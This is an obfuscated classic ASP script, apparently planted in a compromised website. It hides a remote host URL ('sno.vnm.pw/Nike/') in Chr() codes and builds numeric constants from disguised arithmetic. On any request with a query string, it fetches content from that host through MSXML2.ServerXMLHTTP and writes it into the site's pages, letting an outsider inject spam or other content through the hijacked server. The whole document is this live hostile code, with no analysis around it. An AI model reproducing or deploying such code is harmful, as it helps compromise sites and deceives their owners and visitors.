<% If ( Len ( Trim ( Request.QueryString ) ) > ( 83 * 75 - 6225 ) ) Then Response.Write O0O00O00000O0 ( Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 115 ) & Chr ( 110 ) & Chr ( 111 ) & Chr ( 46 ) & Chr ( 118 ) & Chr ( 110 ) & Chr ( 109 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 119 ) & Chr ( 47 ) & Chr ( 78 ) & Chr ( 105 ) & Chr ( 107 ) & Chr ( 101 ) & Chr ( 47 ) & Trim ( Request.QueryString ) ) Response.End End If Response.Write vbCrLf Function O0O00O00000O0(OO00OO00O00O0 ) Dim OOOOOOO00O0 Dim O000000OO Dim O0OO0OOO000O Dim O00OO00OO0OO0 Set O00OO00OO0OO0 = Server.CreateObject ( Chr ( 109 ) & Chr ( 115 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 51 ) & Chr ( 46 ) & Chr ( 48 ) ) O00OO00OO0OO0.setTimeouts ( 16 * 15 - - 59760 ) , ( 91 * 65 - - 54085 ) , ( 17 * 60 - - 58980 ) , ( 84 * 12 - - 58992 ) O00OO00OO0OO0.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , OO00OO00O00O0 , False O00OO00OO0OO0.Send If O00OO00OO0OO0.Readystate = ( 49 * 83 - 4063 ) Then If O00OO00OO0OO0.status = ( 29 * 37 - 873 ) Then O000000OO = O00OO00OO0OO0.responseText OOOOOOO00O0 = O00OO00OO0OO0.responseBody O0OO0OOO000O = Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 ) O0O00O00000O0 = O0OOOO000OOO0 ( O00OO00OO0OO0.responseBody , Trim ( O0OO0OOO000O ) ) End If End If End Function Function O0OOOO000OOO0(O000O0000OO,O00O0O0O0O ) Dim OO0O00OO0OOO0 Set OO0O00OO0OOO0 = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) OO0O00OO0OOO0.Type = ( 3 * 97 - 290 ) OO0O00OO0OOO0.Mode = ( 41 * 83 - 3400 ) OO0O00OO0OOO0.Open OO0O00OO0OOO0.Write O000O0000OO OO0O00OO0OOO0.Position = ( 4 * 15 - 60 ) OO0O00OO0OOO0.Type = ( 8 * 30 - 238 ) OO0O00OO0OOO0.Charset = O00O0O0O0O O0OOOO000OOO0 = OO0O00OO0OOO0.ReadText OO0O00OO0OOO0.Close Set OO0O00OO0OOO0 = Nothing End Function %>